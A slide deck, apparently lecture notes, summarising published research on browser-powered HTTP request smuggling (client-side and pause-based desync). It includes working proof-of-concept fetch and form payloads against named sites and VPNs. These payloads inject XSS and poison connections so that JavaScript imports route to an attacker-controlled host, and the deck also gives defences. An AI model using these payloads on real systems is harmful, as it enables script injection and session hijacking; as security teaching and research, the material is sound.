---
type: slide
---
### Browser-Powered Desync Attacks
#### A New Frontier in HTTP Request Smuggling
<!-- slide: https://hackmd.io/@JyunD/browser-powered-desync-attacks -->
---
### Outline
#### HTTP handling anomalies
#### Client-side desync
#### Pause-based desync
#### Defence & Takeaways
---
### HTTP handling anomalies
----
### Connection state attacks
#### First-request validation

----
### Connection state attacks
#### First-request routing

---
### The surprise factor

----
### Detecting connection-locked CL.TE

----
### Detecting connection-locked CL.TE
* Is the front-end using the Content-Length?

----
### Detecting connection-locked CL.TE
* Is the front-end using the Content-Length? No

----
### Detecting connection-locked CL.TE
* Is the front-end using the Content-Length? Yes

---
### CL.0 browser-compatible desync

----
### CL.0 browser-compatible desync

----
### H2.0 on amazon.com

----
### H2.0 on amazon.com

---
### Client-side desync

----
### Client-side desync

----
### Client-side desync

----
### Client-side desync

----
### Client-side desync

---
### Client-side desync-case study
---
### Akamai
----
### Akamai - Detect

----
### Akamai - Explore(Stacked HEAD)

----
### Akamai - Attack
```javascript
fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\n
Host: www.capitalone.ca\r\n
\r\n
GET /x?x=<script>alert(1)</script> HTTP/1.1\r\n
X: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})
```
---
### Cisco Web VPN
----
### Cisco Web VPN
`https://psres.net/launchAttack.html:`

----
### Cisco Web VPN
```javascript
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y", credentials: 'include'
}).catch(() => {
location = 'https://redacted/+CSCOE+/win.js'
})
```
----
### Cisco Web VPN

---
### Verisign
----
### Verisign

----
### Verisign
```javascript
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
input.value = ''
form.appendChild(input)
document.body.appendChild(form)
form.submit()
})
```
---
### Pulse Secure VPN
----
<!--
### Pulse Secure VPN
* Regular CSD attacks:
1. Create a poisoned connection
2. Trigger navigation
* Hijacking JS with a non-cacheable redirect:
1. Navigate to target page
2. Guess when the page has loaded
3. Create some poisoned connections
4. Hope a JS import uses a poisoned connection
* Making it plausible:
* Pre-connect to normalise target page load time
* Combine with separate window/tab for multiple attempts
* Identify page with non-cacheable JS import
---- -->
### Pulse Secure VPN
```html
<script>
function reset() {
fetch('https://vpn.redacted/robots.txt', {mode: 'no-cors', credentials: 'include'})
.then(() => {
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
})
setTimeout(poison, 120) // worked on 140. went down to 110
}
function poison(){
sendPoison()
sendPoison()
sendPoison()
setTimeout(reset, 1000)
}
function sendPoison(){
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css', {method: 'POST', body: 'GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n', mode: 'no-cors', credentials: 'include'})
}
</script>
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
```
---
### Pause-based desync
----
### Pause-based desync - Varnish & Apache

----
### Pause-based desync - ALB

----
### Pause-based desync - ALB

----
### Pause-based desync - Matching timeouts

----
### Pause-based desync - MITM
* The theory:
* Aaacker website sends request, padded to cause TCP fragmentabon
* MITM idenbfies the TCP packet containing the request body via the size
* MITM delays this packet, causing a server bmeout & pause-based desync
* The delayed packet is then interpreted as a new messag
----
### Pause-based desync - MITM

----
### Pause-based desync
```javascript
let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action =
'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET
/redirect?<script>alert(document.domain)</script>
HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()
```
---
### Defence
* Use HTTP/2 end to end
* Don’t downgrade/rewrite HTTP/2 requests to HTTP/1
* Don't roll your own HTTP server, but if you do:
* Never assume a request has no body
* Default to discarding the connection
* Don't attach state to a connection
* Either support chunked encoding, or reset the connection.
* Support HTTP/2
---
### Takeaways
* The request is a lie
* HTTP/1.1 connec5on-reuse is harmful
* All you need is a server taken by surprise
---
## End
---
### Reference
[Source](https://portswigger.net/research/browser-powered-desync-attacks#anomalies)
[Slide](https://portswigger.net/kb/papers/firuaml/browser-powered-desync-attacks-slides.pdf)